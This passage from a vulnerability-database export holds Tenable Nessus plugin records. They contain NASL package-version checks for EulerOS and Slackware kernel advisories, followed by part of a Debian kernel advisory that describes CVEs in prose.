is called several times in a row, aka CID-b86dab054059. NOTE: Members in the community argue that the integer overflow does not lead to a security issue in this case.(CVE-2020-13974)In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to shared memory due to a permissions bypass. This could lead to local escalation of privilege by corrupting memory shared between processes, with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions:\n Android kernel Android ID: A-142938932(CVE-2020-0009)A flaw was found in the Linux Kernel in versions after 4.5-rc1 in the way mremap handled DAX Huge Pages. This flaw allows a local attacker with access to a DAX enabled storage to escalate their privileges on the system.(CVE-2020-10757)gadget_dev_desc_UDC_store in drivers/usb/gadget/configfs.c in the Linux kernel through 5.6.13 relies on kstrdup without considering the possibility of an internal '\\0' value, which allows attackers to trigger an out-of-bounds read, aka CID-15753588bcd4.(CVE-2020-13143)Incomplete cleanup from specific special register read operations in some Intel(R) Processors may allow an authenticated user to potentially enable information disclosure via local access.(CVE-2020-0543)A flaw was found in the prctl() function, where it can be used to enable indirect branch speculation after it has been disabled. This call incorrectly reports it as being 'force disabled' when it is not and opens the system to Spectre v2 attacks. The highest threat from this vulnerability is to confidentiality.(CVE-2020-10768)A flaw was found in the Linux kernel's implementation of the Enhanced IBPB (Indirect Branch Prediction Barrier). The IBPB mitigation will be disabled when STIBP is not available or when the Enhanced Indirect Branch Restricted Speculation (IBRS) is available. This flaw allows a local attacker to perform a Spectre V2 style attack when this configuration is active. The highest threat from this vulnerability is to confidentiality.(CVE-2020-10767)A logic bug flaw was found in the Linux kernel's implementation of SSBD. A bug in the logic handling allows an attacker with a local account to disable SSBD protection during a context switch when additional speculative execution mitigations are in place. This issue was introduced when the per task/process conditional STIPB switching was added on top of the existing SSBD switching. The highest threat from this vulnerability is to confidentiality.(CVE-2020-10766)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 7.8, "vector": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-07-30T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP8 : kernel (EulerOS-SA-2020-1807)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-18282", "CVE-2019-20806", "CVE-2019-20810", "CVE-2019-20811", "CVE-2019-20812", "CVE-2019-9445", "CVE-2020-0009", "CVE-2020-0543", "CVE-2020-10135", "CVE-2020-10732", "CVE-2020-10751", "CVE-2020-10757", "CVE-2020-10766", "CVE-2020-10767", "CVE-2020-10768", "CVE-2020-10781", "CVE-2020-12888", "CVE-2020-13143", "CVE-2020-13974", "CVE-2020-14416", "CVE-2020-15393"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:bpftool", "p-cpe:/a:huawei:euleros:kernel", "p-cpe:/a:huawei:euleros:kernel-devel", "p-cpe:/a:huawei:euleros:kernel-headers", "p-cpe:/a:huawei:euleros:kernel-source", "p-cpe:/a:huawei:euleros:kernel-tools", "p-cpe:/a:huawei:euleros:kernel-tools-libs", "p-cpe:/a:huawei:euleros:perf", "p-cpe:/a:huawei:euleros:python-perf", "p-cpe:/a:huawei:euleros:python3-perf", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2020-1807.NASL", "href": "https://www.tenable.com/plugins/nessus/139137", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(139137);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2019-18282\",\n \"CVE-2019-20806\",\n \"CVE-2019-20810\",\n \"CVE-2019-20811\",\n \"CVE-2019-20812\",\n \"CVE-2019-9445\",\n \"CVE-2020-0009\",\n \"CVE-2020-0543\",\n \"CVE-2020-10135\",\n \"CVE-2020-10732\",\n \"CVE-2020-10751\",\n \"CVE-2020-10757\",\n \"CVE-2020-10766\",\n \"CVE-2020-10767\",\n \"CVE-2020-10768\",\n \"CVE-2020-10781\",\n \"CVE-2020-12888\",\n \"CVE-2020-13143\",\n \"CVE-2020-13974\",\n \"CVE-2020-14416\",\n \"CVE-2020-15393\"\n );\n\n script_name(english:\"EulerOS 2.0 SP8 : kernel (EulerOS-SA-2020-1807)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerabilities :\n\n - The kernel package contains the Linux kernel (vmlinuz),\n the core of any Linux operating system. The kernel\n handles the basic functions of the operating system:\n memory allocation, process allocation, device input and\n output, etc.Security Fix(es):An issue was discovered in\n the Linux kernel before 5.2. There is a NULL pointer\n dereference in tw5864_handle_frame() in\n drivers/media/pci/tw5864/tw5864-video.c, which may\n cause denial of service, aka\n CID-2e7682ebfc75.(CVE-2019-20806)A flaw was found in\n the ZRAM kernel module, where a user with a local\n account and the ability to read the\n /sys/class/zram-control/hot_add file can create ZRAM\n device nodes in the /dev/ directory. This read\n allocates kernel memory and is not accounted for a user\n that triggers the creation of that ZRAM device. With\n this vulnerability, continually reading the device may\n consume a large amount of system memory and cause the\n Out-of-Memory (OOM) killer to activate and terminate\n random userspace processes, possibly making the system\n inoperable.(CVE-2020-10781)In the Linux kernel before\n 5.4.16, a race condition in tty->disc_data handling in\n the slip and slcan line discipline could lead to a\n use-after-free, aka CID-0ace17d56824. This affects\n drivers/ net/slip/slip.c and drivers/\n net/can/slcan.c.(CVE-2020-14416)The VFIO PCI driver in\n the Linux kernel through 5.6.13 mishandles attempts to\n access disabled memory space.(CVE-2020-12888)The\n flow_dissector feature in the Linux kernel 4.3 through\n 5.x before 5.3.10 has a device tracking vulnerability,\n aka CID-55667441c84f. This occurs because the auto\n flowlabel of a UDP IPv6 packet relies on a 32-bit\n hashrnd value as a secret, and because jhash (instead\n of siphash) is used. The hashrnd value remains the same\n starting from boot time, and can be inferred by an\n attacker. This affects net/core/flow_dissector.c and\n related code.(CVE-2019-18282)In the Linux kernel\n through 5.7.6, usbtest_disconnect in\n drivers/usb/misc/usbtest.c has a memory leak, aka\n CID-28ebeb8db770.(CVE-2020-15393)An issue was\n discovered in the Linux kernel before 5.0.6. In\n rx_queue_add_kobject() and netdev_queue_add_kobject()\n in net/core/ net-sysfs.c, a reference count is\n mishandled, aka CID-a3e23f719f5c.(CVE-2019-20811)A flaw\n was found in the Linux kernels SELinux LSM hook\n implementation before version 5.7, where it incorrectly\n assumed that an skb would only contain a single netlink\n message. The hook would incorrectly only validate the\n first netlink message in the skb and allow or deny the\n rest of the messages within the skb with the granted\n permission without further\n processing.(CVE-2020-10751)In the Android kernel in\n F2FS driver there is a possible out of bounds read due\n to a missing bounds check. This could lead to local\n information disclosure with system execution privileges\n needed. User interaction is not needed for\n exploitation.(CVE-2019-9445)A flaw was found in the\n Linux kernel's implementation of Userspace core dumps.\n This flaw allows an attacker with a local account to\n crash a trivial program and exfiltrate private kernel\n data.(CVE-2020-10732)go7007_snd_init in\n drivers/media/usb/go7007/snd-go7007.c in the Linux\n kernel before 5.6 does not call snd_card_free for a\n failure path, which causes a memory leak, aka\n CID-9453264ef586.(CVE-2019-20810)Legacy pairing and\n secure-connections pairing authentication in Bluetooth(r)\n BR/EDR Core Specification v5.2 and earlier may allow an\n unauthenticated user to complete authentication without\n pairing credentials via adjacent access. An\n unauthenticated, adjacent attacker could impersonate a\n Bluetooth BR/EDR master or slave to pair with a\n previously paired remote device to successfully\n complete the authentication procedure without knowing\n the link key.(CVE-2020-10135)An issue was discovered in\n the Linux kernel before 5.4.7. The\n prb_calc_retire_blk_tmo() function in\n net/packet/af_packet.c can result in a denial of\n service (CPU consumption and soft lockup) in a certain\n failure case involving TPACKET_V3, aka\n CID-b43d1f9f7067.(CVE-2019-20812)An issue was\n discovered in the Linux kernel through 5.7.1.\n drivers/tty/vt/keyboard.c has an integer overflow if\n k_ascii is called several times in a row, aka\n CID-b86dab054059. NOTE: Members in the community argue\n that the integer overflow does not lead to a security\n issue in this case.(CVE-2020-13974)In calc_vm_may_flags\n of ashmem.c, there is a possible arbitrary write to\n shared memory due to a permissions bypass. This could\n lead to local escalation of privilege by corrupting\n memory shared between processes, with no additional\n execution privileges needed. User interaction is not\n needed for exploitation. Product: Android Versions:\n Android kernel Android ID: A-142938932(CVE-2020-0009)A\n flaw was found in the Linux Kernel in versions after\n 4.5-rc1 in the way mremap handled DAX Huge Pages. This\n flaw allows a local attacker with access to a DAX\n enabled storage to escalate their privileges on the\n system.(CVE-2020-10757)gadget_dev_desc_UDC_store in\n drivers/usb/gadget/configfs.c in the Linux kernel\n through 5.6.13 relies on kstrdup without considering\n the possibility of an internal '\\0' value, which allows\n attackers to trigger an out-of-bounds read, aka\n CID-15753588bcd4.(CVE-2020-13143)Incomplete cleanup\n from specific special register read operations in some\n Intel(R) Processors may allow an authenticated user to\n potentially enable information disclosure via local\n access.(CVE-2020-0543)A flaw was found in the prctl()\n function, where it can be used to enable indirect\n branch speculation after it has been disabled. This\n call incorrectly reports it as being 'force disabled'\n when it is not and opens the system to Spectre v2\n attacks. The highest threat from this vulnerability is\n to confidentiality.(CVE-2020-10768)A flaw was found in\n the Linux kernel's implementation of the Enhanced IBPB\n (Indirect Branch Prediction Barrier). The IBPB\n mitigation will be disabled when STIBP is not available\n or when the Enhanced Indirect Branch Restricted\n Speculation (IBRS) is available. This flaw allows a\n local attacker to perform a Spectre V2 style attack\n when this configuration is active. The highest threat\n from this vulnerability is to\n confidentiality.(CVE-2020-10767)A logic bug flaw was\n found in the Linux kernel's implementation of SSBD. A\n bug in the logic handling allows an attacker with a\n local account to disable SSBD protection during a\n context switch when additional speculative execution\n mitigations are in place. This issue was introduced\n when the per task/process conditional STIPB switching\n was added on top of the existing SSBD switching. The\n highest threat from this vulnerability is to\n confidentiality.(CVE-2020-10766)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1807\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?6e94ba4c\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/07/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/07/30\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:bpftool\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-source\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python3-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(8)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nflag = 0;\n\npkgs = [\"bpftool-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\",\n \"kernel-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\",\n \"kernel-devel-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\",\n \"kernel-headers-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\",\n \"kernel-source-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\",\n \"kernel-tools-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\",\n \"kernel-tools-libs-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\",\n \"perf-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\",\n \"python-perf-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\",\n \"python3-perf-4.19.36-vhulk1907.1.0.h794.eulerosv2r8\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"8\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-16T14:10:02", "description": "New kernel packages are available for Slackware 14.2 to fix security issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-03-27T00:00:00", "type": "nessus", "title": "Slackware 14.2 : Slackware 14.2 kernel (SSA:2020-086-01)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2018-21008", "CVE-2019-11487", "CVE-2019-14615", "CVE-2019-14895", "CVE-2019-14896", "CVE-2019-14897", "CVE-2019-14901", "CVE-2019-15217", "CVE-2019-15220", "CVE-2019-15221", "CVE-2019-16233", "CVE-2019-16234", "CVE-2019-19056", "CVE-2019-19066", "CVE-2019-19068", "CVE-2019-19965", "CVE-2019-5108", "CVE-2020-0009", "CVE-2020-2732", "CVE-2020-8647", "CVE-2020-8648", "CVE-2020-8649", "CVE-2020-9383"], "modified": "2020-03-31T00:00:00", "cpe": ["p-cpe:/a:slackware:slackware_linux:kernel-generic", "p-cpe:/a:slackware:slackware_linux:kernel-generic-smp", "p-cpe:/a:slackware:slackware_linux:kernel-headers", "p-cpe:/a:slackware:slackware_linux:kernel-huge", "p-cpe:/a:slackware:slackware_linux:kernel-huge-smp", "p-cpe:/a:slackware:slackware_linux:kernel-modules", "p-cpe:/a:slackware:slackware_linux:kernel-modules-smp", "p-cpe:/a:slackware:slackware_linux:kernel-source", "cpe:/o:slackware:slackware_linux:14.2"], "id": "SLACKWARE_SSA_2020-086-01.NASL", "href": "https://www.tenable.com/plugins/nessus/134971", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Slackware Security Advisory 2020-086-01. The text \n# itself is copyright (C) Slackware Linux, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(134971);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/03/31\");\n\n script_cve_id(\"CVE-2018-21008\", \"CVE-2019-11487\", \"CVE-2019-14615\", \"CVE-2019-14895\", \"CVE-2019-14896\", \"CVE-2019-14897\", \"CVE-2019-14901\", \"CVE-2019-15217\", \"CVE-2019-15220\", \"CVE-2019-15221\", \"CVE-2019-16233\", \"CVE-2019-16234\", \"CVE-2019-19056\", \"CVE-2019-19066\", \"CVE-2019-19068\", \"CVE-2019-19965\", \"CVE-2019-5108\", \"CVE-2020-0009\", \"CVE-2020-2732\", \"CVE-2020-8647\", \"CVE-2020-8648\", \"CVE-2020-8649\", \"CVE-2020-9383\");\n script_xref(name:\"SSA\", value:\"2020-086-01\");\n\n script_name(english:\"Slackware 14.2 : Slackware 14.2 kernel (SSA:2020-086-01)\");\n script_summary(english:\"Checks for updated packages in /var/log/packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Slackware host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"New kernel packages are available for Slackware 14.2 to fix security\nissues.\"\n );\n # http://www.slackware.com/security/viewer.php?l=slackware-security&y=2020&m=slackware-security.760705\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?a55cd09d\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:slackware:slackware_linux:kernel-generic\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:slackware:slackware_linux:kernel-generic-smp\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:slackware:slackware_linux:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:slackware:slackware_linux:kernel-huge\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:slackware:slackware_linux:kernel-huge-smp\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:slackware:slackware_linux:kernel-modules\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:slackware:slackware_linux:kernel-modules-smp\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:slackware:slackware_linux:kernel-source\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:slackware:slackware_linux:14.2\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/04/23\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/03/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/03/27\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Slackware Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Slackware/release\", \"Host/Slackware/packages\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"slackware.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Slackware/release\")) audit(AUDIT_OS_NOT, \"Slackware\");\nif (!get_kb_item(\"Host/Slackware/packages\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Slackware\", cpu);\n\n\nflag = 0;\nif (slackware_check(osver:\"14.2\", pkgname:\"kernel-generic\", pkgver:\"4.4.217\", pkgarch:\"i586\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", pkgname:\"kernel-generic-smp\", pkgver:\"4.4.217_smp\", pkgarch:\"i686\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", pkgname:\"kernel-headers\", pkgver:\"4.4.217_smp\", pkgarch:\"x86\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", pkgname:\"kernel-huge\", pkgver:\"4.4.217\", pkgarch:\"i586\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", pkgname:\"kernel-huge-smp\", pkgver:\"4.4.217_smp\", pkgarch:\"i686\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", pkgname:\"kernel-modules\", pkgver:\"4.4.217\", pkgarch:\"i586\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", pkgname:\"kernel-modules-smp\", pkgver:\"4.4.217_smp\", pkgarch:\"i686\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", pkgname:\"kernel-source\", pkgver:\"4.4.217_smp\", pkgarch:\"noarch\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", arch:\"x86_64\", pkgname:\"kernel-generic\", pkgver:\"4.4.217\", pkgarch:\"x86_64\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", arch:\"x86_64\", pkgname:\"kernel-headers\", pkgver:\"4.4.217\", pkgarch:\"x86\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", arch:\"x86_64\", pkgname:\"kernel-huge\", pkgver:\"4.4.217\", pkgarch:\"x86_64\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", arch:\"x86_64\", pkgname:\"kernel-modules\", pkgver:\"4.4.217\", pkgarch:\"x86_64\", pkgnum:\"1\")) flag++;\nif (slackware_check(osver:\"14.2\", arch:\"x86_64\", pkgname:\"kernel-source\", pkgver:\"4.4.217\", pkgarch:\"noarch\", pkgnum:\"1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:slackware_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 10, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-30T01:55:28", "description": "This update is now available for all supported architectures. For reference the original advisory text follows.\n\nSeveral vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks.\n\nCVE-2015-8839\n\nA race condition was found in the ext4 filesystem implementation. A local user could exploit this to cause a denial of service (filesystem corruption).\n\nCVE-2018-14610, CVE-2018-14611, CVE-2018-14612, CVE-2018-14613\n\nWen Xu from SSLab at Gatech reported that crafted Btrfs volumes could trigger a crash (Oops) and/or out-of-bounds memory access. An attacker able to mount such a volume could use this to cause a denial of service or possibly for privilege escalation.\n\nCVE-2019-5108\n\nMitchell Frank of Cisco discovered that when the IEEE 802.11 (WiFi) stack was used in AP mode with roaming, it would trigger roaming for a newly associated station before the station was authenticated. An attacker within range of the AP could use this to cause a denial of service, either by filling up a switching table or by redirecting traffic away from other stations.\n\nCVE-2019-19319\n\nJungyeon discovered that a crafted filesystem can cause the ext4 implementation to deallocate or reallocate journal blocks. A user permitted to mount filesystems could use this to cause a denial of service (crash), or possibly for privilege escalation.\n\nCVE-2019-19447\n\nIt was discovered that the ext4 filesystem driver did not safely handle unlinking of an inode that, due to filesystem corruption, already has a link count of 0. An attacker able to mount arbitrary ext4 volumes could use this to cause a denial of service (memory corruption or crash) or possibly for privilege escalation.\n\nCVE-2019-19768\n\nTristan Madani reported a race condition in the blktrace debug facility that could result in a use-after-free. A local user able to trigger removal of block devices could possibly use this to cause a denial of service (crash) or for privilege escalation.\n\nCVE-2019-20636\n\nThe syzbot tool found that the input subsystem did not fully validate keycode changes, which could result in a heap out-of-bounds write. A local user permitted to access the device node for an input or VT device could possibly use this to cause a denial of service (crash or memory corruption) or for privilege escalation.\n\nCVE-2020-0009\n\nJann Horn reported that the Android ashmem driver did not prevent read-only files from being memory-mapped and then remapped as read-write. However, Android drivers are not enabled in Debian kernel configurations.\n\nCVE-2020-0543\n\nResearchers at VU Amsterdam discovered that on some Intel CPUs supporting the RDRAND and RDSEED instructions, part of a random value generated by these instructions may be used in a later speculative execution on any core of the same physical CPU. Depending on how these instructions are used by applications, a local user or VM guest could use this to obtain sensitive information such as cryptographic keys from other users or VMs.\n\nThis vulnerability can be mitigated by a microcode update, either as part of system firmware (BIOS) or through the intel-microcode package in Debian's non-free archive section. This kernel update only provides reporting of the vulnerability and the option to disable the mitigation if it is not needed.\n\nCVE-2020-1749\n\nXiumei Mu reported that some network protocols that can run on top of IPv6 would bypass the Transformation (XFRM) layer used by IPsec, IPcomp/IPcomp6, IPIP, and IPv6 Mobility. This could result in disclosure of information over the network, since it would not be encrypted or routed according to the system policy.\n\nCVE-2020-2732\n\nPaulo Bonzini discovered that the KVM implementation for Intel processors did not properly handle instruction emulation for L2 guests when nested virtualization is enabled. This could allow an L2 guest to cause privilege escalation, denial of service, or information leaks in the L1 guest.\n\nCVE-2020-8647, CVE-2020-8649\n\nThe Hulk Robot tool found a potential MMIO out-of-bounds access in the vgacon driver. A local user permitted to access a virtual terminal (/dev/tty1 etc.) on a system using the vgacon driver could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.\n\nCVE-2020-8648\n\nThe syzbot tool found a race condition in the the virtual terminal driver, which could result in a use-after-free. A local user permitted to access a virtual terminal could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.\n\nCVE-2020-9383\n\nJordy Zomer reported an incorrect range check in the floppy driver which could lead to a static out-of-bounds access. A local user permitted to access a floppy drive could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.\n\nCVE-2020-10690\n\nIt was discovered that the PTP hardware clock subsystem did not properly manage device lifetimes. Removing a PTP hardware clock from the system while a user process was using it could lead to a use-after-free. The security impact of this is unclear.\n\nCVE-2020-10751\n\nDmitry Vyukov reported that the SELinux subsystem did not properly handle validating multiple messages, which could allow a privileged attacker to bypass SELinux netlink restrictions.\n\nCVE-2020-10942\n\nIt was discovered that the vhost_net driver did not properly validate the type of sockets set as back-ends. A local user permitted to access /dev/vhost-net could use this to cause a stack corruption via crafted system calls, resulting in denial of service (crash) or possibly privilege escalation.\n\nCVE-2020-11494\n\nIt was discovered that the slcan (serial line CAN) network driver did not fully initialise CAN headers for received packets, resulting in an information leak from the kernel to user-space or over the CAN network.\n\nCVE-2020-11565\n\nEntropy Moe reported that the shared memory filesystem (tmpfs) did not correctly handle an 'mpol' mount option specifying an empty node list, leading to a stack-based out-of-bounds write. If user namespaces are enabled, a local user could use this to cause a denial of service (crash) or possibly for privilege escalation.\n\nCVE-2020-11608, CVE-2020-11609, CVE-2020-11668\n\nIt was discovered that the ov519, stv06xx, and xirlink_cit media drivers did not properly validate USB device descriptors. A physically present user with a specially constructed USB device could use this to cause a denial of service (crash) or possibly for privilege escalation.\n\nCVE-2020-12114\n\nPiotr Krysiuk discovered a race condition between the umount and pivot_root operations in the filesystem core (vfs). A local user with the CAP_SYS_ADMIN capability in any user namespace could use this to cause a denial of service (crash).\n\nCVE-2020-12464\n\nKyungtae Kim reported a race condition in the USB core that can result in a use-after-free. It is not clear how this can be exploited, but it could result in a denial of service (crash or memory corruption) or privilege escalation.\n\nCVE-2020-12652\n\nTom Hatskevich reported a bug in the mptfusion storage drivers. An ioctl handler fetched a parameter from user memory twice, creating a race condition which could result in incorrect locking of internal data structures. A local user permitted to access /dev/mptctl could use this to cause a denial of service (crash or memory corruption) or for privilege 